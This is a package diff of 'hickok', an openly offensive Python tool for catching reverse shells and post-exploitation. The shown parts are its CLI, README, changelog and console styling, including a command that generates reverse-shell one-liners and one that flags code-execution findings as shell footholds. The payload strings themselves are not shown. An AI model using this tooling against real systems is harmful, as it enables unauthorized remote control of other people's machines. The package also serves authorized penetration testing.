hickok 0.1.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- hickok-0.1.0/.github/workflows/ci.yml +25 -0
- hickok-0.1.0/.github/workflows/release.yml +30 -0
- hickok-0.1.0/.gitignore +18 -0
- hickok-0.1.0/CHANGELOG.md +16 -0
- hickok-0.1.0/LICENSE +21 -0
- hickok-0.1.0/PKG-INFO +103 -0
- hickok-0.1.0/README.md +83 -0
- hickok-0.1.0/pyproject.toml +40 -0
- hickok-0.1.0/src/hickok/__init__.py +7 -0
- hickok-0.1.0/src/hickok/__main__.py +4 -0
- hickok-0.1.0/src/hickok/cli.py +176 -0
- hickok-0.1.0/src/hickok/console.py +139 -0
- hickok-0.1.0/src/hickok/findings.py +35 -0
- hickok-0.1.0/src/hickok/handler.py +189 -0
- hickok-0.1.0/src/hickok/payloads.py +49 -0
- hickok-0.1.0/src/hickok/session.py +101 -0
- hickok-0.1.0/tests/test_console.py +32 -0
- hickok-0.1.0/tests/test_findings.py +27 -0
- hickok-0.1.0/tests/test_payloads.py +13 -0
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
name: CI
|
|
2
|
+
|
|
3
|
+
on:
|
|
4
|
+
push:
|
|
5
|
+
branches: [main]
|
|
6
|
+
pull_request:
|
|
7
|
+
branches: [main]
|
|
8
|
+
|
|
9
|
+
jobs:
|
|
10
|
+
test:
|
|
11
|
+
runs-on: ubuntu-latest
|
|
12
|
+
strategy:
|
|
13
|
+
fail-fast: false
|
|
14
|
+
matrix:
|
|
15
|
+
python-version: ["3.10", "3.11", "3.12"]
|
|
16
|
+
steps:
|
|
17
|
+
- uses: actions/checkout@v5
|
|
18
|
+
- name: Set up Python ${{ matrix.python-version }}
|
|
19
|
+
uses: actions/setup-python@v5
|
|
20
|
+
with:
|
|
21
|
+
python-version: ${{ matrix.python-version }}
|
|
22
|
+
- name: Install
|
|
23
|
+
run: pip install -e ".[dev]"
|
|
24
|
+
- name: Test
|
|
25
|
+
run: pytest -q
|
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
name: release
|
|
2
|
+
|
|
3
|
+
on:
|
|
4
|
+
push:
|
|
5
|
+
tags: ["v*"]
|
|
6
|
+
|
|
7
|
+
permissions:
|
|
8
|
+
contents: write
|
|
9
|
+
id-token: write # lets PyPI Trusted Publishing mint a short-lived token (no secrets stored)
|
|
10
|
+
|
|
11
|
+
jobs:
|
|
12
|
+
release:
|
|
13
|
+
runs-on: ubuntu-latest
|
|
14
|
+
environment: pypi # must match the environment set on the PyPI trusted publisher
|
|
15
|
+
steps:
|
|
16
|
+
- uses: actions/checkout@v5
|
|
17
|
+
- uses: actions/setup-python@v5
|
|
18
|
+
with:
|
|
19
|
+
python-version: "3.12"
|
|
20
|
+
- name: Build sdist and wheel
|
|
21
|
+
run: |
|
|
22
|
+
python -m pip install --upgrade build
|
|
23
|
+
python -m build
|
|
24
|
+
- name: Publish GitHub release
|
|
25
|
+
uses: softprops/action-gh-release@v2
|
|
26
|
+
with:
|
|
27
|
+
generate_release_notes: true
|
|
28
|
+
files: dist/*
|
|
29
|
+
- name: Publish to PyPI
|
|
30
|
+
uses: pypa/gh-action-pypi-publish@release/v1
|
hickok-0.1.0/.gitignore
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
# Changelog
|
|
2
|
+
|
|
3
|
+
All notable changes to this project are documented here. The format is loosely
|
|
4
|
+
based on [Keep a Changelog](https://keepachangelog.com/).
|
|
5
|
+
|
|
6
|
+
## [0.1.0]
|
|
7
|
+
|
|
8
|
+
### Added
|
|
9
|
+
- Reverse-shell handler: multi-port listeners and an interactive console
|
|
10
|
+
(`sessions`, `cmd`, `interact` with PTY raw-mode, `upgrade`, `kill`).
|
|
11
|
+
- `payloads` — reverse-shell one-liners (bash, sh-fifo, nc, python3, php, perl,
|
|
12
|
+
PowerShell) for a given LHOST/LPORT, with LHOST auto-detection.
|
|
13
|
+
- `hickok hand findings.json` — reads a wraith run and flags the findings that
|
|
14
|
+
mean code execution (a path to a shell); completes the dead man's hand.
|
|
15
|
+
- Themed console (ember / steel / bone / crimson), the eights, and the
|
|
16
|
+
`eights` / dead-man's-hand reveals. Seeded from wraith's shell handler.
|
hickok-0.1.0/LICENSE
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 Gustavo Almeida
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
hickok-0.1.0/PKG-INFO
ADDED
|
@@ -0,0 +1,103 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: hickok
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: Reverse-shell handler & post-exploitation console — the eights to wraith's aces.
|
|
5
|
+
Project-URL: Homepage, https://github.com/gusta-ve/hickok
|
|
6
|
+
Project-URL: Repository, https://github.com/gusta-ve/hickok
|
|
7
|
+
Project-URL: Issues, https://github.com/gusta-ve/hickok/issues
|
|
8
|
+
Project-URL: Changelog, https://github.com/gusta-ve/hickok/blob/main/CHANGELOG.md
|
|
9
|
+
Author-email: Gustavo Almeida <gustavoalm09@gmail.com>
|
|
10
|
+
License: MIT
|
|
11
|
+
License-File: LICENSE
|
|
12
|
+
Keywords: offensive-security,pentest,post-exploitation,red-team,reverse-shell,security
|
|
13
|
+
Classifier: Environment :: Console
|
|
14
|
+
Classifier: Programming Language :: Python :: 3
|
|
15
|
+
Classifier: Topic :: Security
|
|
16
|
+
Requires-Python: >=3.10
|
|
17
|
+
Provides-Extra: dev
|
|
18
|
+
Requires-Dist: pytest>=8.0; extra == 'dev'
|
|
19
|
+
Description-Content-Type: text/markdown
|
|
20
|
+
|
|
21
|
+
# hickok
|
|
22
|
+
|
|
23
|
+
A reverse-shell handler and post-exploitation console. Catch shells on multiple
|
|
24
|
+
listeners, run commands, upgrade to a full PTY, and generate reverse-shell
|
|
25
|
+
one-liners — from one dependency-free CLI.
|
|
26
|
+
|
|
27
|
+
It's the other half of a hand: [**wraith**](https://github.com/gusta-ve/wraith)
|
|
28
|
+
holds the aces — it does the recon and proves the way in; **hickok** brings the
|
|
29
|
+
eights — it acts on what wraith caught. Aces and eights, the *dead man's hand*.
|
|
30
|
+
|
|
31
|
+
[](https://github.com/gusta-ve/hickok/actions/workflows/ci.yml)
|
|
32
|
+

|
|
33
|
+

|
|
34
|
+
|
|
35
|
+
## Install
|
|
36
|
+
|
|
37
|
+
```bash
|
|
38
|
+
pipx install hickok
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
Or from a clone: `pip install -e .` — or run it with no install at all:
|
|
42
|
+
`PYTHONPATH=src python3 -m hickok`.
|
|
43
|
+
|
|
44
|
+
## Usage
|
|
45
|
+
|
|
46
|
+
The listener is the default command, so a bare `hickok` starts catching shells:
|
|
47
|
+
|
|
48
|
+
```bash
|
|
49
|
+
hickok # listen on :9001, drop into the console
|
|
50
|
+
hickok -l 9001,9002 --lhost 10.10.14.7 # multiple listeners, fixed LHOST
|
|
51
|
+
hickok payloads 10.10.14.7 9001 # print reverse-shell one-liners
|
|
52
|
+
hickok hand wraith-runs/<run>/findings.json # act on what wraith caught
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
Inside the console:
|
|
56
|
+
|
|
57
|
+
```
|
|
58
|
+
hickok>
|
|
59
|
+
sessions list connected shells
|
|
60
|
+
payloads reverse-shell one-liners for your LHOST
|
|
61
|
+
cmd 1 id run a command on session 1
|
|
62
|
+
upgrade 1 turn a dumb shell into a PTY
|
|
63
|
+
interact 1 attach (detach with Ctrl-])
|
|
64
|
+
kill 1 drop a session
|
|
65
|
+
```
|
|
66
|
+
|
|
67
|
+
## The bridge — `hickok hand`
|
|
68
|
+
|
|
69
|
+
Point hickok at a wraith run's `findings.json` and it reads the table: it lists
|
|
70
|
+
what wraith found and flags every finding that means **code execution** (command
|
|
71
|
+
injection, SSTI, …) — those are the doors to a shell.
|
|
72
|
+
|
|
73
|
+
```bash
|
|
74
|
+
hickok hand wraith-runs/target.com-<ts>/findings.json
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
```
|
|
78
|
+
[Critical] Command Injection in 'host' http://target/ping ⮕ shell
|
|
79
|
+
[High] SSTI in 'name' http://target/render ⮕ shell
|
|
80
|
+
[High] Reflected XSS in 'q' http://target/search
|
|
81
|
+
|
|
82
|
+
┌─────┐ ┌─────┐ ┌─────┐ ┌─────┐
|
|
83
|
+
│ A♠ │ │ A♣ │ │ 8♠ │ │ 8♣ │
|
|
84
|
+
└─────┘ └─────┘ └─────┘ └─────┘
|
|
85
|
+
|
|
86
|
+
aces and eights — the dead man's hand.
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
wraith deals the aces; hickok brings the eights. The hand is complete.
|
|
90
|
+
|
|
91
|
+
## Disclaimer
|
|
92
|
+
|
|
93
|
+
Built for authorized security testing and research — point it where you're meant
|
|
94
|
+
to. What anyone does with it from there is theirs alone; the author takes no
|
|
95
|
+
responsibility for misuse.
|
|
96
|
+
|
|
97
|
+
## License
|
|
98
|
+
|
|
99
|
+
MIT.
|
|
100
|
+
|
|
101
|
+
---
|
|
102
|
+
|
|
103
|
+
*in memory of J.B. Hickok — shot holding aces and eights, Deadwood, 1876.*
|
hickok-0.1.0/README.md
ADDED
|
@@ -0,0 +1,83 @@
|
|
|
1
|
+
# hickok
|
|
2
|
+
|
|
3
|
+
A reverse-shell handler and post-exploitation console. Catch shells on multiple
|
|
4
|
+
listeners, run commands, upgrade to a full PTY, and generate reverse-shell
|
|
5
|
+
one-liners — from one dependency-free CLI.
|
|
6
|
+
|
|
7
|
+
It's the other half of a hand: [**wraith**](https://github.com/gusta-ve/wraith)
|
|
8
|
+
holds the aces — it does the recon and proves the way in; **hickok** brings the
|
|
9
|
+
eights — it acts on what wraith caught. Aces and eights, the *dead man's hand*.
|
|
10
|
+
|
|
11
|
+
[](https://github.com/gusta-ve/hickok/actions/workflows/ci.yml)
|
|
12
|
+

|
|
13
|
+

|
|
14
|
+
|
|
15
|
+
## Install
|
|
16
|
+
|
|
17
|
+
```bash
|
|
18
|
+
pipx install hickok
|
|
19
|
+
```
|
|
20
|
+
|
|
21
|
+
Or from a clone: `pip install -e .` — or run it with no install at all:
|
|
22
|
+
`PYTHONPATH=src python3 -m hickok`.
|
|
23
|
+
|
|
24
|
+
## Usage
|
|
25
|
+
|
|
26
|
+
The listener is the default command, so a bare `hickok` starts catching shells:
|
|
27
|
+
|
|
28
|
+
```bash
|
|
29
|
+
hickok # listen on :9001, drop into the console
|
|
30
|
+
hickok -l 9001,9002 --lhost 10.10.14.7 # multiple listeners, fixed LHOST
|
|
31
|
+
hickok payloads 10.10.14.7 9001 # print reverse-shell one-liners
|
|
32
|
+
hickok hand wraith-runs/<run>/findings.json # act on what wraith caught
|
|
33
|
+
```
|
|
34
|
+
|
|
35
|
+
Inside the console:
|
|
36
|
+
|
|
37
|
+
```
|
|
38
|
+
hickok>
|
|
39
|
+
sessions list connected shells
|
|
40
|
+
payloads reverse-shell one-liners for your LHOST
|
|
41
|
+
cmd 1 id run a command on session 1
|
|
42
|
+
upgrade 1 turn a dumb shell into a PTY
|
|
43
|
+
interact 1 attach (detach with Ctrl-])
|
|
44
|
+
kill 1 drop a session
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
## The bridge — `hickok hand`
|
|
48
|
+
|
|
49
|
+
Point hickok at a wraith run's `findings.json` and it reads the table: it lists
|
|
50
|
+
what wraith found and flags every finding that means **code execution** (command
|
|
51
|
+
injection, SSTI, …) — those are the doors to a shell.
|
|
52
|
+
|
|
53
|
+
```bash
|
|
54
|
+
hickok hand wraith-runs/target.com-<ts>/findings.json
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
```
|
|
58
|
+
[Critical] Command Injection in 'host' http://target/ping ⮕ shell
|
|
59
|
+
[High] SSTI in 'name' http://target/render ⮕ shell
|
|
60
|
+
[High] Reflected XSS in 'q' http://target/search
|
|
61
|
+
|
|
62
|
+
┌─────┐ ┌─────┐ ┌─────┐ ┌─────┐
|
|
63
|
+
│ A♠ │ │ A♣ │ │ 8♠ │ │ 8♣ │
|
|
64
|
+
└─────┘ └─────┘ └─────┘ └─────┘
|
|
65
|
+
|
|
66
|
+
aces and eights — the dead man's hand.
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
wraith deals the aces; hickok brings the eights. The hand is complete.
|
|
70
|
+
|
|
71
|
+
## Disclaimer
|
|
72
|
+
|
|
73
|
+
Built for authorized security testing and research — point it where you're meant
|
|
74
|
+
to. What anyone does with it from there is theirs alone; the author takes no
|
|
75
|
+
responsibility for misuse.
|
|
76
|
+
|
|
77
|
+
## License
|
|
78
|
+
|
|
79
|
+
MIT.
|
|
80
|
+
|
|
81
|
+
---
|
|
82
|
+
|
|
83
|
+
*in memory of J.B. Hickok — shot holding aces and eights, Deadwood, 1876.*
|
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
[build-system]
|
|
2
|
+
requires = ["hatchling"]
|
|
3
|
+
build-backend = "hatchling.build"
|
|
4
|
+
|
|
5
|
+
[project]
|
|
6
|
+
name = "hickok"
|
|
7
|
+
version = "0.1.0"
|
|
8
|
+
description = "Reverse-shell handler & post-exploitation console — the eights to wraith's aces."
|
|
9
|
+
readme = "README.md"
|
|
10
|
+
requires-python = ">=3.10"
|
|
11
|
+
license = { text = "MIT" }
|
|
12
|
+
authors = [{ name = "Gustavo Almeida", email = "gustavoalm09@gmail.com" }]
|
|
13
|
+
keywords = ["security", "pentest", "offensive-security", "post-exploitation", "reverse-shell", "red-team"]
|
|
14
|
+
classifiers = [
|
|
15
|
+
"Programming Language :: Python :: 3",
|
|
16
|
+
"Topic :: Security",
|
|
17
|
+
"Environment :: Console",
|
|
18
|
+
]
|
|
19
|
+
|
|
20
|
+
# Pure standard library — nothing to install but Python.
|
|
21
|
+
dependencies = []
|
|
22
|
+
|
|
23
|
+
[project.optional-dependencies]
|
|
24
|
+
dev = ["pytest>=8.0"]
|
|
25
|
+
|
|
26
|
+
[project.urls]
|
|
27
|
+
Homepage = "https://github.com/gusta-ve/hickok"
|
|
28
|
+
Repository = "https://github.com/gusta-ve/hickok"
|
|
29
|
+
Issues = "https://github.com/gusta-ve/hickok/issues"
|
|
30
|
+
Changelog = "https://github.com/gusta-ve/hickok/blob/main/CHANGELOG.md"
|
|
31
|
+
|
|
32
|
+
[project.scripts]
|
|
33
|
+
hickok = "hickok.cli:main"
|
|
34
|
+
|
|
35
|
+
[tool.hatch.build.targets.wheel]
|
|
36
|
+
packages = ["src/hickok"]
|
|
37
|
+
|
|
38
|
+
[tool.pytest.ini_options]
|
|
39
|
+
pythonpath = ["src"]
|
|
40
|
+
testpaths = ["tests"]
|
|
@@ -0,0 +1,176 @@
|
|
|
1
|
+
"""hickok — reverse-shell handler & post-exploitation console."""
|
|
2
|
+
|
|
3
|
+
from __future__ import annotations
|
|
4
|
+
|
|
5
|
+
import argparse
|
|
6
|
+
import asyncio
|
|
7
|
+
import sys
|
|
8
|
+
|
|
9
|
+
from hickok import __version__, findings, payloads
|
|
10
|
+
from hickok.console import DIM, THEMES, Console
|
|
11
|
+
from hickok.handler import ShellServer
|
|
12
|
+
|
|
13
|
+
EXAMPLES = """\
|
|
14
|
+
examples:
|
|
15
|
+
hickok listen on :9001 and drop into the console
|
|
16
|
+
hickok -l 9001,9002 --lhost 10.10.14.7 multiple listeners, fixed LHOST
|
|
17
|
+
hickok hand wraith-runs/.../findings.json act on what wraith caught
|
|
18
|
+
hickok payloads 10.10.14.7 9001 print reverse-shell one-liners
|
|
19
|
+
"""
|
|
20
|
+
|
|
21
|
+
_COMMANDS = {"listen", "hand", "payloads", "eights"}
|
|
22
|
+
|
|
23
|
+
|
|
24
|
+
class _Help(argparse.RawDescriptionHelpFormatter):
|
|
25
|
+
def __init__(self, prog):
|
|
26
|
+
super().__init__(prog, max_help_position=28, width=86)
|
|
27
|
+
|
|
28
|
+
|
|
29
|
+
def _with_default_command(argv):
|
|
30
|
+
"""`hickok` / `hickok -l 9001` default to the `listen` handler."""
|
|
31
|
+
out = list(argv)
|
|
32
|
+
i = 0
|
|
33
|
+
while i < len(out):
|
|
34
|
+
tok = out[i]
|
|
35
|
+
if tok in ("-h", "--help", "--version"):
|
|
36
|
+
return out
|
|
37
|
+
if tok == "--theme":
|
|
38
|
+
i += 2
|
|
39
|
+
continue
|
|
40
|
+
if tok in ("--no-color", "--no-banner"):
|
|
41
|
+
i += 1
|
|
42
|
+
continue
|
|
43
|
+
if tok not in _COMMANDS:
|
|
44
|
+
out.insert(i, "listen")
|
|
45
|
+
return out
|
|
46
|
+
return out
|
|
47
|
+
|
|
48
|
+
|
|
49
|
+
def _console(args) -> Console:
|
|
50
|
+
return Console(
|
|
51
|
+
theme=getattr(args, "theme", None),
|
|
52
|
+
color=False if getattr(args, "no_color", False) else None,
|
|
53
|
+
banner=not getattr(args, "no_banner", False),
|
|
54
|
+
)
|
|
55
|
+
|
|
56
|
+
|
|
57
|
+
def cmd_listen(args) -> None:
|
|
58
|
+
c = _console(args)
|
|
59
|
+
c.banner()
|
|
60
|
+
try:
|
|
61
|
+
ports = [int(p) for p in args.listen.split(",")]
|
|
62
|
+
except ValueError:
|
|
63
|
+
raise SystemExit("--listen expects comma-separated port numbers")
|
|
64
|
+
lhost = args.lhost or payloads.guess_lhost()
|
|
65
|
+
server = ShellServer(ports, lhost, c)
|
|
66
|
+
asyncio.run(server.run())
|
|
67
|
+
|
|
68
|
+
|
|
69
|
+
def cmd_payloads(args) -> None:
|
|
70
|
+
c = _console(args)
|
|
71
|
+
lhost = args.lhost or payloads.guess_lhost()
|
|
72
|
+
c.info(f"reverse shells for {lhost}:{args.lport}")
|
|
73
|
+
for name, p in payloads.generate(lhost, args.lport).items():
|
|
74
|
+
c.plain(f"\n # {name}\n {p}")
|
|
75
|
+
c.plain("")
|
|
76
|
+
|
|
77
|
+
|
|
78
|
+
def cmd_hand(args) -> None:
|
|
79
|
+
c = _console(args)
|
|
80
|
+
c.banner()
|
|
81
|
+
try:
|
|
82
|
+
items = findings.load(args.file)
|
|
83
|
+
except (OSError, ValueError) as exc:
|
|
84
|
+
c.bad(f"cannot read findings: {exc}")
|
|
85
|
+
raise SystemExit(1)
|
|
86
|
+
|
|
87
|
+
c.info(f"{len(items)} finding(s) dealt by wraith")
|
|
88
|
+
c.rule("the table")
|
|
89
|
+
for f in items:
|
|
90
|
+
sev, title, target = f.get("severity", "?"), f.get("title", ""), f.get("target", "")
|
|
91
|
+
mark = c._accent(" ⮕ shell") if findings.is_foothold(title) else ""
|
|
92
|
+
c.plain(f" [{sev}] {title} {c._c(DIM, target)}{mark}")
|
|
93
|
+
|
|
94
|
+
c.dead_mans_hand(dealt_by_wraith=True)
|
|
95
|
+
|
|
96
|
+
foot = findings.footholds(items)
|
|
97
|
+
if foot:
|
|
98
|
+
c.good(f"{len(foot)} foothold(s) — code execution. catch a shell off one:")
|
|
99
|
+
c.plain(" hickok -l 9001 # listener in one terminal")
|
|
100
|
+
for f in foot:
|
|
101
|
+
c.plain(f" → {f.get('target', '')}")
|
|
102
|
+
else:
|
|
103
|
+
c.warn("no code-execution foothold here — these are leads, not a shell (yet)")
|
|
104
|
+
|
|
105
|
+
|
|
106
|
+
def cmd_eights(args) -> None:
|
|
107
|
+
_console(args).eights()
|
|
108
|
+
|
|
109
|
+
|
|
110
|
+
def _output_options() -> argparse.ArgumentParser:
|
|
111
|
+
"""Cosmetic options every command understands, shared via parents= so they
|
|
112
|
+
work in any position (`hickok hand f.json --no-color`, not only before it)."""
|
|
113
|
+
op = argparse.ArgumentParser(add_help=False)
|
|
114
|
+
op.add_argument("--theme", metavar="NAME", choices=list(THEMES),
|
|
115
|
+
help="colour theme: " + " | ".join(THEMES) + " (default: ember)")
|
|
116
|
+
op.add_argument("--no-color", action="store_true", help="disable coloured output")
|
|
117
|
+
op.add_argument("--no-banner", action="store_true", help="suppress the banner")
|
|
118
|
+
return op
|
|
119
|
+
|
|
120
|
+
|
|
121
|
+
def build_parser() -> argparse.ArgumentParser:
|
|
122
|
+
common = _output_options()
|
|
123
|
+
p = argparse.ArgumentParser(
|
|
124
|
+
prog="hickok",
|
|
125
|
+
description="Reverse-shell handler & post-exploitation. The listener is the default: "
|
|
126
|
+
"`hickok -l PORTS`.",
|
|
127
|
+
epilog=EXAMPLES,
|
|
128
|
+
formatter_class=_Help,
|
|
129
|
+
parents=[common],
|
|
130
|
+
)
|
|
131
|
+
p.add_argument("--version", action="version", version=f"hickok {__version__}")
|
|
132
|
+
sub = p.add_subparsers(dest="command", metavar="<command>")
|
|
133
|
+
|
|
134
|
+
ln = sub.add_parser("listen", help="catch reverse shells (default command)",
|
|
135
|
+
formatter_class=_Help, epilog=EXAMPLES, parents=[common])
|
|
136
|
+
ln.add_argument("-l", "--listen", metavar="PORTS", default="9001",
|
|
137
|
+
help="comma-separated ports to listen on (default: 9001)")
|
|
138
|
+
ln.add_argument("--lhost", metavar="IP", help="LHOST embedded in generated payloads (auto-detected)")
|
|
139
|
+
ln.set_defaults(func=cmd_listen)
|
|
140
|
+
|
|
141
|
+
hd = sub.add_parser("hand", help="act on a wraith findings.json",
|
|
142
|
+
formatter_class=_Help, parents=[common])
|
|
143
|
+
hd.add_argument("file", help="path to a wraith findings.json")
|
|
144
|
+
hd.set_defaults(func=cmd_hand)
|
|
145
|
+
|
|
146
|
+
pl = sub.add_parser("payloads", help="print reverse-shell one-liners",
|
|
147
|
+
formatter_class=_Help, parents=[common])
|
|
148
|
+
pl.add_argument("lhost", nargs="?", help="LHOST (auto-detected if omitted)")
|
|
149
|
+
pl.add_argument("lport", nargs="?", type=int, default=9001, help="LPORT (default: 9001)")
|
|
150
|
+
pl.set_defaults(func=cmd_payloads)
|
|
151
|
+
|
|
152
|
+
egg = sub.add_parser("eights", parents=[common]) # easter egg: no help= keeps it out
|
|
153
|
+
egg.set_defaults(func=cmd_eights)
|
|
154
|
+
return p
|
|
155
|
+
|
|
156
|
+
|
|
157
|
+
def main(argv=None) -> None:
|
|
158
|
+
argv = sys.argv[1:] if argv is None else list(argv)
|
|
159
|
+
parser = build_parser()
|
|
160
|
+
if not argv:
|
|
161
|
+
Console().banner()
|
|
162
|
+
parser.print_help()
|
|
163
|
+
return
|
|
164
|
+
args = parser.parse_args(_with_default_command(argv))
|
|
165
|
+
if not hasattr(args, "func"):
|
|
166
|
+
parser.print_help()
|
|
167
|
+
return
|
|
168
|
+
try:
|
|
169
|
+
args.func(args)
|
|
170
|
+
except KeyboardInterrupt:
|
|
171
|
+
print("\n [-] interrupted", file=sys.stderr)
|
|
172
|
+
sys.exit(130)
|
|
173
|
+
|
|
174
|
+
|
|
175
|
+
if __name__ == "__main__":
|
|
176
|
+
main()
|
|
@@ -0,0 +1,139 @@
|
|
|
1
|
+
"""Console output: banner, colour themes, card art and the dead man's hand.
|
|
2
|
+
|
|
3
|
+
Dependency-free (ANSI / truecolor). Colour auto-enables on a TTY and honours
|
|
4
|
+
NO_COLOR; force it with HICKOK_COLOR=1. Pick a theme with --theme or HICKOK_THEME
|
|
5
|
+
(ember | steel | bone | crimson).
|
|
6
|
+
"""
|
|
7
|
+
|
|
8
|
+
from __future__ import annotations
|
|
9
|
+
|
|
10
|
+
import os
|
|
11
|
+
import sys
|
|
12
|
+
|
|
13
|
+
from hickok import __version__
|
|
14
|
+
|
|
15
|
+
RESET = "\033[0m"
|
|
16
|
+
BOLD = "\033[1m"
|
|
17
|
+
DIM = "\033[2m"
|
|
18
|
+
|
|
19
|
+
THEMES = {
|
|
20
|
+
"ember": {"grad": ((255, 205, 95), (150, 60, 0)), "accent": (255, 185, 70)}, # Deadwood gold
|
|
21
|
+
"steel": {"grad": ((180, 200, 220), (40, 60, 90)), "accent": (150, 180, 215)}, # gunmetal
|
|
22
|
+
"bone": {"grad": ((235, 235, 235), (120, 120, 120)), "accent": (220, 220, 220)},
|
|
23
|
+
"crimson": {"grad": ((255, 80, 80), (110, 0, 12)), "accent": (255, 85, 85)}, # match wraith
|
|
24
|
+
}
|
|
25
|
+
DEFAULT_THEME = "ember"
|
|
26
|
+
|
|
27
|
+
_BONE = (235, 235, 235) # black suits render bright on a dark terminal
|
|
28
|
+
|
|
29
|
+
|
|
30
|
+
def _fg(rgb) -> str:
|
|
31
|
+
return f"\033[38;2;{rgb[0]};{rgb[1]};{rgb[2]}m"
|
|
32
|
+
|
|
33
|
+
|
|
34
|
+
def _lerp(a, b, t):
|
|
35
|
+
return tuple(int(a[i] + (b[i] - a[i]) * t) for i in range(3))
|
|
36
|
+
|
|
37
|
+
|
|
38
|
+
def _supports_color(force=None) -> bool:
|
|
39
|
+
if force is not None:
|
|
40
|
+
return force
|
|
41
|
+
if os.environ.get("NO_COLOR"):
|
|
42
|
+
return False
|
|
43
|
+
if os.environ.get("HICKOK_COLOR"):
|
|
44
|
+
return True
|
|
45
|
+
return sys.stdout.isatty()
|
|
46
|
+
|
|
47
|
+
|
|
48
|
+
class Console:
|
|
49
|
+
def __init__(self, theme=None, color=None, banner=True):
|
|
50
|
+
name = theme or os.environ.get("HICKOK_THEME") or DEFAULT_THEME
|
|
51
|
+
self.theme = THEMES.get(name, THEMES[DEFAULT_THEME])
|
|
52
|
+
self.color = _supports_color(color)
|
|
53
|
+
self.show_banner = banner
|
|
54
|
+
|
|
55
|
+
def _emit(self, text: str = "") -> None:
|
|
56
|
+
print(text, flush=True)
|
|
57
|
+
|
|
58
|
+
def _c(self, code: str, text: str) -> str:
|
|
59
|
+
return f"{code}{text}{RESET}" if self.color else text
|
|
60
|
+
|
|
61
|
+
def _accent(self, text: str) -> str:
|
|
62
|
+
return self._c(_fg(self.theme["accent"]), text)
|
|
63
|
+
|
|
64
|
+
# --------------------------------------------------------------- cards
|
|
65
|
+
def _cards(self, specs, indent: str = " ") -> None:
|
|
66
|
+
"""Lay a row of playing cards (rank, suit) face-up, in bright bone."""
|
|
67
|
+
top = " ".join("┌─────┐" for _ in specs)
|
|
68
|
+
mid = " ".join(f"│ {r}{s} │" for r, s in specs)
|
|
69
|
+
bot = " ".join("└─────┘" for _ in specs)
|
|
70
|
+
white = _fg(_BONE)
|
|
71
|
+
for line in (top, mid, bot):
|
|
72
|
+
self._emit(indent + self._c(BOLD + white, line))
|
|
73
|
+
|
|
74
|
+
# -------------------------------------------------------------- banner
|
|
75
|
+
def banner(self) -> None:
|
|
76
|
+
if not self.show_banner:
|
|
77
|
+
return
|
|
78
|
+
self._emit()
|
|
79
|
+
self._cards([("8", "♠"), ("8", "♣")])
|
|
80
|
+
self._emit()
|
|
81
|
+
wordmark = " ".join("HICKOK")
|
|
82
|
+
c0, c1 = self.theme["grad"]
|
|
83
|
+
if self.color:
|
|
84
|
+
out = ""
|
|
85
|
+
for i, ch in enumerate(wordmark):
|
|
86
|
+
out += _fg(_lerp(c0, c1, i / max(1, len(wordmark) - 1))) + ch
|
|
87
|
+
self._emit(" " + BOLD + out + RESET)
|
|
88
|
+
else:
|
|
89
|
+
self._emit(" " + wordmark)
|
|
90
|
+
self._emit(" " + self._accent("» ")
|
|
91
|
+
+ self._c(DIM, "reverse-shell handler & post-exploitation")
|
|
92
|
+
+ " " + self._c(DIM, f"v{__version__}"))
|
|
93
|
+
self._emit(" " + self._c(DIM, "gusta-ve · github.com/gusta-ve/hickok · authorized use only"))
|
|
94
|
+
self._emit(" " + self._c(DIM, "in memory of J.B. Hickok — shot holding aces & eights, Deadwood 1876"))
|
|
95
|
+
self._emit()
|
|
96
|
+
|
|
97
|
+
# --------------------------------------------------------------- lines
|
|
98
|
+
def info(self, msg) -> None:
|
|
99
|
+
self._emit(self._c("\033[36m", " [*] ") + str(msg))
|
|
100
|
+
|
|
101
|
+
def good(self, msg) -> None:
|
|
102
|
+
self._emit(self._c("\033[32m", " [+] ") + str(msg))
|
|
103
|
+
|
|
104
|
+
def warn(self, msg) -> None:
|
|
105
|
+
self._emit(self._c("\033[33m", " [!] ") + str(msg))
|
|
106
|
+
|
|
107
|
+
def bad(self, msg) -> None:
|
|
108
|
+
self._emit(self._c("\033[31m", " [-] ") + str(msg))
|
|
109
|
+
|
|
110
|
+
def plain(self, msg: str = "") -> None:
|
|
111
|
+
self._emit(msg)
|
|
112
|
+
|
|
113
|
+
def rule(self, title: str = "") -> None:
